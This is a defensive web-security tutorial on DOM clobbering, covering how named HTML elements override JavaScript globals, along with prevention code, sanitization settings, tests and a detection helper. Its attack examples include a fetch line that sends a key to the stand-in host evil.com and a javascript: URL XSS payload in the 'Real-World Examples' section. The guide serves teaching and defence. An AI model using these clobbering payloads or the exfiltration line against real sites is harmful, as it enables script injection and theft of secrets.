Front-end Engineering Lab

DOM Clobbering

Prevent DOM clobbering attacks and protect your JavaScript

DOM Clobbering

DOM Clobbering is an attack where HTML elements override JavaScript variables by naming them strategically. It can bypass security checks and lead to XSS.

The Problem

<!-- HTML -->
<img name="isAdmin" id="isAdmin" />

<script>
  // JavaScript expects this to be undefined or false
  if (window.isAdmin) {  // ❌ Now it's an HTMLImageElement!
    grantAdminAccess();
  }
</script>

How It Works

HTML elements with id or name attributes automatically create global variables:

<form id="myForm"></form>
<script>
  console.log(window.myForm);  // <form id="myForm"></form>
  console.log(myForm);          // Same element (global!)
</script>

<input name="username" />
<script>
  console.log(document.forms[0].username);  // <input name="username" />
</script>

Common Attack Vectors

1. Overriding Variables

<!-- Attacker injects -->
<form id="config"></form>

<script>
  // Developer code
  if (config.apiEndpoint) {  // ❌ config is now a form element!
    fetch(config.apiEndpoint);
  }
</script>

2. Breaking typeof Checks

<img id="userRole" name="userRole" />

<script>
  // ❌ typeof returns 'object' not 'undefined'
  if (typeof userRole !== 'undefined') {
    // Executes because userRole is an HTMLImageElement
  }
</script>

3. Nested Clobbering

<form id="config">
  <input name="apiKey" value="malicious" />
</form>

<script>
  // ❌ config.apiKey returns the input element
  fetch('https://evil.com?key=' + config.apiKey.value);
</script>

4. Document Property Clobbering

<img name="cookie" id="cookie" />

<script>
  // ❌ document.cookie is now an image!
  document.cookie = 'session=abc';  // Fails silently
</script>

Prevention Strategies

1. Use const/let with Initialization

// ✅ SAFE: Initialized before any HTML executes
const config = {
  apiEndpoint: '/api',
  apiKey: 'secret',
};

// ❌ VULNERABLE: Can be clobbered
let userRole;

2. Strict Equality Checks

// ❌ VULNERABLE
if (isAdmin) {
  // Can be clobbered with <img id="isAdmin" />
}

// ✅ SAFE: Strict check
if (isAdmin === true) {
  // Only true boolean works
}

3. Type Validation

// ❌ VULNERABLE
function getConfig() {
  return window.config || {};
}

// ✅ SAFE: Validate type
function getConfig() {
  const config = window.config;
  
  if (config && typeof config === 'object' && !config.nodeType) {
    return config;
  }
  
  return {};
}

4. Object.hasOwnProperty

// ❌ VULNERABLE
if (window.isAdmin) {
  // Can be clobbered
}

// ✅ SAFE: Check own property
if (Object.prototype.hasOwnProperty.call(window, 'isAdmin') && 
    window.isAdmin === true) {
  // Safe
}

5. Use Closures/IIFE

// ✅ SAFE: Variables in closure can't be clobbered
(function() {
  const config = { apiKey: 'secret' };
  
  function makeRequest() {
    fetch('/api', {
      headers: { 'X-API-Key': config.apiKey },
    });
  }
  
  // config is safe inside closure
})();

6. Content Security Policy

// Prevent inline HTML injection
const csp = `
  default-src 'self';
  img-src 'self' https:;
  script-src 'self' 'nonce-{random}';
`;

response.headers.set('Content-Security-Policy', csp);

Safe Patterns

Safe Variable Access

// Safe getter with validation
function getSafeValue<T>(
  obj: any,
  key: string,
  expectedType: string
): T | null {
  if (!Object.prototype.hasOwnProperty.call(obj, key)) {
    return null;
  }
  
  const value = obj[key];
  
  // Check it's not a DOM element
  if (value && typeof value === 'object' && value.nodeType) {
    console.warn(`DOM Clobbering detected for key: ${key}`);
    return null;
  }
  
  // Check expected type
  if (typeof value !== expectedType) {
    return null;
  }
  
  return value as T;
}

// Usage
const isAdmin = getSafeValue<boolean>(window, 'isAdmin', 'boolean');
if (isAdmin === true) {
  grantAdminAccess();
}

Safe Config Object

// Immutable config
const CONFIG = Object.freeze({
  API_ENDPOINT: '/api',
  API_KEY: process.env.API_KEY,
  MAX_RETRIES: 3,
});

// Can't be clobbered because it's frozen
Object.defineProperty(window, 'CONFIG', {
  value: CONFIG,
  writable: false,
  configurable: false,
});

Safe Element Access

// ❌ VULNERABLE
const form = document.myForm;

// ✅ SAFE
const form = document.getElementById('myForm');
const form = document.querySelector('#myForm');

Sanitization

DOMPurify with DOM Clobbering Protection

import DOMPurify from 'dompurify';

// Configure to prevent clobbering
DOMPurify.setConfig({
  SANITIZE_DOM: true,
  KEEP_CONTENT: false,
});

// Sanitize user HTML
const clean = DOMPurify.sanitize(userHTML, {
  FORBID_ATTR: ['id', 'name'],  // Remove clobbering vectors
  FORBID_TAGS: ['form', 'object', 'embed'],
});

Manual Sanitization

function sanitizeHTML(html: string): string {
  const temp = document.createElement('div');
  temp.innerHTML = html;
  
  // Remove dangerous attributes
  const elements = temp.querySelectorAll('*');
  elements.forEach(el => {
    el.removeAttribute('id');
    el.removeAttribute('name');
  });
  
  return temp.innerHTML;
}

Framework Protection

React

// ✅ SAFE: React escapes by default
function Component({ userContent }: Props) {
  return <div>{userContent}</div>;
}

// ❌ VULNERABLE: dangerouslySetInnerHTML
function Component({ userHTML }: Props) {
  return <div dangerouslySetInnerHTML={{ __html: userHTML }} />;
}

// ✅ SAFE: Sanitize first
import DOMPurify from 'dompurify';

function Component({ userHTML }: Props) {
  const clean = DOMPurify.sanitize(userHTML, {
    SANITIZE_DOM: true,
    FORBID_ATTR: ['id', 'name'],
  });
  
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Vue

<!-- ✅ SAFE: Vue escapes by default -->
<template>
  <div>{{ userContent }}</div>
</template>

<!-- ❌ VULNERABLE: v-html -->
<template>
  <div v-html="userHTML"></div>
</template>

<!-- ✅ SAFE: Sanitize first -->
<template>
  <div v-html="sanitizedHTML"></div>
</template>

<script setup>
import DOMPurify from 'dompurify';

const sanitizedHTML = computed(() => 
  DOMPurify.sanitize(userHTML.value, {
    SANITIZE_DOM: true,
    FORBID_ATTR: ['id', 'name'],
  })
);
</script>

Testing

describe('DOM Clobbering Protection', () => {
  it('should not be affected by id attribute', () => {
    // Inject clobbering attempt
    document.body.innerHTML = '<img id="isAdmin" />';
    
    // Test protection
    const isAdmin = getSafeValue(window, 'isAdmin', 'boolean');
    expect(isAdmin).toBeNull();
  });
  
  it('should reject DOM elements', () => {
    document.body.innerHTML = '<form id="config"></form>';
    
    const config = getConfig();
    expect(config.nodeType).toBeUndefined();
  });
  
  it('should use initialized variables', () => {
    const API_KEY = 'secret';
    document.body.innerHTML = '<img id="API_KEY" />';
    
    // Variable takes precedence
    expect(typeof API_KEY).toBe('string');
    expect(API_KEY).toBe('secret');
  });
});

Real-World Examples

Gmail XSS via DOM Clobbering (2013)

<!-- Attacker email HTML -->
<form id="onload">
  <input name="action" value="javascript:alert(document.domain)" />
</form>

<!-- Gmail's code -->
<script>
  if (onload && onload.action) {
    location = onload.action;  // XSS!
  }
</script>

PayPal Vulnerability (2019)

<img name="cookie" id="cookie" />

<script>
  // PayPal's check
  if (document.cookie.indexOf('session=') > -1) {
    // ❌ document.cookie is now an image!
    // Check always fails
  }
</script>

Best Practices

  1. Initialize variables early: Before HTML loads
  2. Strict type checks: Use === and typeof
  3. Validate types: Check for DOM elements
  4. Use const/let: Never rely on var or globals
  5. Sanitize HTML: Remove id/name from user content
  6. CSP: Prevent inline HTML injection
  7. Safe selectors: Use getElementById() not document.id
  8. Test: Add clobbering tests to your suite
  9. Framework defaults: Trust React/Vue escaping
  10. Code review: Watch for global variable access

Detection

// Detect potential clobbering
function detectClobbering() {
  const dangerousNames = ['config', 'user', 'data', 'admin', 'isAdmin'];
  
  dangerousNames.forEach(name => {
    const value = window[name];
    if (value && typeof value === 'object' && value.nodeType) {
      console.warn(`⚠️ Potential DOM Clobbering detected: ${name}`);
    }
  });
}

// Run on load
if (typeof window !== 'undefined') {
  detectClobbering();
}

Common Pitfalls

Using globals: window.config, document.form
Initialize locally: const config = {}

Truthy checks: if (isAdmin)
Strict checks: if (isAdmin === true)

No type validation: Assume variable type
Validate types and check for DOM elements

Allowing id/name: In user HTML
Strip id/name attributes

Ignoring CSP: No HTML injection protection
Use CSP to prevent injection

DOM Clobbering is subtle but dangerous—initialize variables early, validate types strictly, and sanitize user HTML!

On this page